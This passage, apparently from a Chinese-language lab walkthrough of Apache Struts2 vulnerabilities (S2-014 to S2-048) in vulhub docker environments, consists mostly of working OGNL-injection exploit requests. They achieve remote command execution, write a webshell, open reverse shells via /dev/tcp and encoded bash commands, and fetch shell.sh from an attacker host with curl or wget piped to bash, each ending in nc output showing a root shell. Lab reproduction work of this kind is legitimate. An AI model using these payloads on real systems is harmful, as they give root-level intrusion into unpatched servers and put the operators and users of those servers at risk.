GET /link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27%62%61%73%68%20%2d%63%20%7b%65%63%68%6f%2c%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4f%54%49%75%4d%54%59%34%4c%6a%55%77%4c%6a%49%76%4d%6a%4d%7a%4d%79%41%77%50%69%59%78%7d%7c%7b%62%61%73%65%36%34%2c%2d%64%7d%7c%7b%62%61%73%68%2c%2d%69%7d%27).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%27dbapp%3D%27%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D HTTP/1.1 Host: 192.168.50.4:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=E81B9A620DFD0541F1A9480B0B09C642 Upgrade-Insecure-Requests: 1 Sec-GPC: 1 DNT: 1 Pragma: no-cache Cache-Control: no-cache
-
S2-014Payload:
GET /link.action?xxxx=%24%7B%28%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%29%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29%28@java.lang.Runtime@getRuntime%28%29.exec%28%22%62%61%73%68%20%2d%63%20%7b%65%63%68%6f%2c%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4f%54%49%75%4d%54%59%34%4c%6a%55%77%4c%6a%49%76%4d%6a%4d%7a%4d%79%41%77%50%69%59%78%7d%7c%7b%62%61%73%65%36%34%2c%2d%64%7d%7c%7b%62%61%73%68%2c%2d%69%7d%22%29%29%7D HTTP/1.1 Host: 192.168.50.4:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=E81B9A620DFD0541F1A9480B0B09C642 Upgrade-Insecure-Requests: 1 Sec-GPC: 1 DNT: 1 Pragma: no-cache Cache-Control: no-cache
-
成功反弹:
┌──(root㉿kali)-[~/Desktop] └─# nc -nvlp 2333 listening on [any] 2333 ... connect to [192.168.50.2] from (UNKNOWN) [192.168.50.4] 39714 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell root@ea61b5d4f2b3:/usr/local/tomcat# id id uid=0(root) gid=0(root) groups=0(root)
8 S2-015 远程代码执行漏洞
影响版本: 2.0.0 - 2.3.14.2
漏洞详情:
8.1 环境安装
docker-compose up -d
- 安装完成后访问:
http://your-ip:8080/
即可进入测试页面
8.2 漏洞利用过程
-
漏洞产生于配置了 Action 通配符 *,并将其作为动态值时,解析时会将其内容执行 OGNL 表达式,例如:
<package name="S2-015" extends="struts-default"> <action name="*" class="com.demo.action.PageAction"> <result>/{1}.jsp</result> </action> </package>
-
上述配置能让我们访问 name.action 时使用 name.jsp 来渲染页面,但是在提取 name 并解析时,对其执行了 OGNL 表达式解析,所以导致命令执行。在实践复现的时候发现,由于 name 值的位置比较特殊,一些特殊的字符如 / " \ 都无法使用(转义也不行),所以在利用该点进行远程命令执行时一些带有路径的命令可能无法执行成功。
-
还有需要说明的就是在 Struts 2.3.14.1 - Struts 2.3.14.2 的更新内容中,删除了 SecurityMemberAccess 类中的 setAllowStaticMethodAccess 方法,因此在 2.3.14.2 版本以后都不能直接通过
#_memberAccess['allowStaticMethodAccess']=true
来修改其值达到重获静态方法调用的能力。 -
这里为了到达执行命令的目的可以用 kxlzx 提到的调用动态方法
(new java.lang.ProcessBuilder('calc')).start()
来解决,另外还可以借助 Java 反射机制去间接修改:#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true)
可以构造 Payload 如下:
${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()),#q}
-
验证POC:直接测试1+1
-
执行命令:
http://yourIP:8080/%24%7b%23%63%6f%6e%74%65%78%74%5b%27%78%77%6f%72%6b%2e%4d%65%74%68%6f%64%41%63%63%65%73%73%6f%72%2e%64%65%6e%79%4d%65%74%68%6f%64%45%78%65%63%75%74%69%6f%6e%27%5d%3d%66%61%6c%73%65%2c%23%6d%3d%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%2e%67%65%74%43%6c%61%73%73%28%29%2e%67%65%74%44%65%63%6c%61%72%65%64%46%69%65%6c%64%28%27%61%6c%6c%6f%77%53%74%61%74%69%63%4d%65%74%68%6f%64%41%63%63%65%73%73%27%29%2c%23%6d%2e%73%65%74%41%63%63%65%73%73%69%62%6c%65%28%74%72%75%65%29%2c%23%6d%2e%73%65%74%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%2c%74%72%75%65%29%2c%23%71%3d%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%74%6f%53%74%72%69%6e%67%28%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%69%64%27%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%2c%23%71%7d%2e%61%63%74%69%6f%6e
8.3 GetShell
- 这个漏洞无法反弹shell,要有回显的才行
9 S2-016 远程代码执行漏洞
影响版本: 2.0.0 - 2.3.15
漏洞详情:
9.1 环境安装
docker-compose up -d
- 安装完成后访问:
http://your-ip:8080/
即可进入测试页面
9.2 漏洞利用过程
- 在struts2中,DefaultActionMapper类支持以"action:"、"redirect:"、"redirectAction:"作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令。
- 所以,访问
http://your-ip:8080/index.action?redirect:OGNL表达式
即可执行OGNL表达式。- 命令执行:
redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("uname -a").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}
- 获取web目录:
redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(#req.getSession().getServletContext().getRealPath('/')),#ot.flush(),#ot.close()}
- 写入webshell:
redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest"),#b=new java.io.FileOutputStream(new java.lang.StringBuilder(#a.getRealPath("/")).append(@java.io.File@separator).append("1.jspx").toString()),#b.write(#a.getParameter("t").getBytes()),#b.close(),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println("BINGO"),#genxor.flush(),#genxor.close()}
- 命令执行:
- 所以,访问
9.3 GetShell
-
执行payload
GET /index.action?redirect:%24%7b%23%63%6f%6e%74%65%78%74%5b%22%78%77%6f%72%6b%2e%4d%65%74%68%6f%64%41%63%63%65%73%73%6f%72%2e%64%65%6e%79%4d%65%74%68%6f%64%45%78%65%63%75%74%69%6f%6e%22%5d%3d%66%61%6c%73%65%2c%23%66%3d%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%2e%67%65%74%43%6c%61%73%73%28%29%2e%67%65%74%44%65%63%6c%61%72%65%64%46%69%65%6c%64%28%22%61%6c%6c%6f%77%53%74%61%74%69%63%4d%65%74%68%6f%64%41%63%63%65%73%73%22%29%2c%23%66%2e%73%65%74%41%63%63%65%73%73%69%62%6c%65%28%74%72%75%65%29%2c%23%66%2e%73%65%74%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%2c%74%72%75%65%29%2c%23%61%3d%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%62%61%73%68%20%2d%63%20%7b%65%63%68%6f%2c%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4f%54%49%75%4d%54%59%34%4c%6a%55%77%4c%6a%49%76%4d%6a%4d%7a%4d%79%41%77%50%69%59%78%7d%7c%7b%62%61%73%65%36%34%2c%2d%64%7d%7c%7b%62%61%73%68%2c%2d%69%7d%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%2c%23%62%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%23%61%29%2c%23%63%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%23%62%29%2c%23%64%3d%6e%65%77%20%63%68%61%72%5b%35%30%30%30%5d%2c%23%63%2e%72%65%61%64%28%23%64%29%2c%23%67%65%6e%78%6f%72%3d%23%63%6f%6e%74%65%78%74%2e%67%65%74%28%22%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%64%69%73%70%61%74%63%68%65%72%2e%48%74%74%70%53%65%72%76%6c%65%74%52%65%73%70%6f%6e%73%65%22%29%2e%67%65%74%57%72%69%74%65%72%28%29%2c%23%67%65%6e%78%6f%72%2e%70%72%69%6e%74%6c%6e%28%23%64%29%2c%23%67%65%6e%78%6f%72%2e%66%6c%75%73%68%28%29%2c%23%67%65%6e%78%6f%72%2e%63%6c%6f%73%65%28%29%7d HTTP/1.1 Host: 192.168.50.4:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=AE20BE60A2B647185E7EF9CA06C736FE Upgrade-Insecure-Requests: 1 Sec-GPC: 1 DNT: 1 Pragma: no-cache Cache-Control: no-cache
-
得到反弹shell
┌──(root㉿kali)-[~/Desktop] └─# nc -nvlp 2333 listening on [any] 2333 ... connect to [192.168.50.2] from (UNKNOWN) [192.168.50.4] 51248 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell root@e647684f937b:/usr/local/tomcat# id id uid=0(root) gid=0(root) groups=0(root) root@e647684f937b:/usr/local/tomcat#
10 S2-032 远程代码执行漏洞(CVE-2016-3081)
影响版本: Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)
漏洞详情:
- https://cwiki.apache.org/confluence/display/WW/S2-032
- https://www.cnblogs.com/mrchang/p/6501428.html
10.1 环境安装
docker-compose up -d
- 安装完成后访问:
http://your-ip:8080/
即可进入测试页面
10.2 漏洞利用过程
-
Struts2在开启了动态方法调用(Dynamic Method Invocation)的情况下,可以使用
method:<name>
的方式来调用名字是<name>
的方法,而这个方法名将会进行OGNL表达式计算,导致远程命令执行漏洞。http://your-ip:8080/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id
10.3 GetShell
-
下载反弹Payload:
http://10.0.0.7:8080/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=wget+10.0.0.3/shell.sh
-
执行下载的Payload:
http://10.0.0.7:8080/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=bash+shell.sh
-
成功反弹:
┌──(root㉿kali)-[~] └─# nc -nvlp 2333 listening on [any] 2333 ... connect to [10.0.0.3] from (UNKNOWN) [10.0.0.7] 57050 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell root@706f58ce4ed0:/usr/src# id id uid=0(root) gid=0(root) groups=0(root) root@706f58ce4ed0:/usr/src#
11 S2-045 远程代码执行漏洞(CVE-2017-5638)
影响版本: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
漏洞详情:
- http://struts.apache.org/docs/s2-045.html
- https://blog.csdn.net/u011721501/article/details/60768657
- https://paper.seebug.org/247/
11.1 环境安装
docker-compose up -d
- 安装完成后访问:
http://your-ip:8080/
即可进入测试页面
11.2 漏洞利用过程
-
POC:
POST / HTTP/1.1 Host: localhost:8080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.8,es;q=0.6 Connection: close Content-Length: 0 Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data
HTTP/1.1 200 OK Date: Fri, 28 Apr 2023 07:06:43 GMT vulhub: 54289 Content-Type: text/html; charset=UTF-8 Set-Cookie: JSESSIONID=1bf8wo8meqs5m8ivjwumuhef;Path=/ Expires: Thu, 01 Jan 1970 00:00:00 GMT Connection: close Server: Jetty(9.2.11.v20150529)
- 响应头中:
vulhub
值为233*233=54289
- 响应头中:
11.3 GetShell
-
下载payload
GET /index.action HTTP/1.1 Host: 10.0.0.7:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=7yu7dkjvua6p1ibt9gv4km9k4 Upgrade-Insecure-Requests: 1 DNT: 1 Sec-GPC: 1 Content-Type: "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='wget 10.0.0.7/shell.sh').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
-
执行payload
GET /index.action HTTP/1.1 Host: 10.0.0.7:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=7yu7dkjvua6p1ibt9gv4km9k4 Upgrade-Insecure-Requests: 1 DNT: 1 Sec-GPC: 1 Content-Type: "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash shell.sh').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
-
getshell
┌──(root㉿kali)-[~] └─# nc -nvlp 2333 listening on [any] 2333 ... connect to [10.0.0.3] from (UNKNOWN) [10.0.0.7] 48946 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell root@4f8d56e6c1c8:/usr/src# id id uid=0(root) gid=0(root) groups=0(root)
-
一次解决所有烦恼
GET /index.action HTTP/1.1 Host: 10.0.0.7:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=7yu7dkjvua6p1ibt9gv4km9k4 Upgrade-Insecure-Requests: 1 DNT: 1 Sec-GPC: 1 Content-Type: "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='curl 10.0.0.3/shell.sh | bash').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
12 S2-046 远程代码执行漏洞(CVE-2017-5638)
影响版本: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
漏洞详情:
12.1 环境安装
docker-compose up -d
- 安装完成后访问:
http://your-ip:8080/
即可进入测试页面
12.2 漏洞利用过程
-
与s2-045类似,但是输入点在文件上传的filename值位置,并需要使用
\x00
截断。由于需要发送畸形数据包,我们简单使用原生socket编写payload:
import socket q = b'''------WebKitFormBoundaryXd004BVJN9pBYBL2 Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',233*233)}\x00b" Content-Type: text/plain foo ------WebKitFormBoundaryXd004BVJN9pBYBL2--'''.replace(b'\n', b'\r\n') p = b'''POST / HTTP/1.1 Host: localhost:8080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.8,es;q=0.6 Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXd004BVJN9pBYBL2 Content-Length: %d '''.replace(b'\n', b'\r\n') % (len(q), ) with socket.create_connection(('your-ip', '8080'), timeout=5) as conn: conn.send(p + q) print(conn.recv(10240).decode())
-
BP上的payload:
- 在filename中插入POC代码:
%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',1+1)}%00b
- 找到b之前的字符,进行
%00
截断:Ctrl+Shift+U
POST /doUpload.action HTTP/1.1 Host: 10.0.0.7:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------1053028176322877947448638587 Content-Length: 433 Origin: http://10.0.0.7:8080 Connection: close Referer: http://10.0.0.7:8080/doUpload.action Cookie: JSESSIONID=16uh1fybj6b2c81sogqmsklmd Upgrade-Insecure-Requests: 1 DNT: 1 Sec-GPC: 1 Pragma: no-cache Cache-Control: no-cache -----------------------------1053028176322877947448638587 Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',1+1)}%00b" Content-Type: application/octet-stream -----------------------------1053028176322877947448638587 Content-Disposition: form-data; name="caption" -----------------------------1053028176322877947448638587--
- 在filename中插入POC代码:
12.3 GetShell
-
EXP Payload:
%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/ip/post 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
-
执行Payload:找到b之前的字符,进行
%00
截断:Ctrl+Shift+U
POST /doUpload.action HTTP/1.1 Host: 10.0.0.7:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------1053028176322877947448638587 Content-Length: 1184 Origin: http://10.0.0.7:8080 Connection: close Referer: http://10.0.0.7:8080/doUpload.action Cookie: JSESSIONID=16uh1fybj6b2c81sogqmsklmd Upgrade-Insecure-Requests: 1 DNT: 1 Sec-GPC: 1 Pragma: no-cache Cache-Control: no-cache -----------------------------1053028176322877947448638587 Content-Disposition: form-data; name="upload"; filename="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/10.0.0.3/2333 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}%00b" Content-Type: application/octet-stream -----------------------------1053028176322877947448638587 Content-Disposition: form-data; name="caption" -----------------------------1053028176322877947448638587--
-
GetShell
┌──(root㉿kali)-[~] └─# nc -nvlp 2333 listening on [any] 2333 ... connect to [10.0.0.3] from (UNKNOWN) [10.0.0.7] 51066 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell root@9f3234fb1c9c:/usr/src# id id uid=0(root) gid=0(root) groups=0(root) root@9f3234fb1c9c:/usr/src#
13 S2-048 远程代码执行漏洞
影响版本: 2.0.0 - 2.3.32
漏洞详情:
- http://struts.apache.org/docs/s2-048.html
- http://bobao.360.cn/learning/detail/4078.html
- [http://xxlegend.com/2017/07/08/S2-048 动态分析/](http://xxlegend.com/2017/07/08/S2-048 动态分析/)
13.1 环境安装
docker-compose up -d
- 安装完成后访问:
http://your-ip:8080/showcase
即可进入测试页面
13.2 漏洞利用过程
-
访问:
http://10.0.0.7:8080/integration/editGangster.action
,触发OGNL表达式的位置是Gangster Name
这个表单。输入${1+1}
即可查看执行结果(剩下两个表单随意填写): -
借用S2-045的沙盒绕过方法,将如下POC填入表单
Gengster Name
中,提交即可直接回显命令执行的结果:%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
13.3 GetShell
-
执行Payload:
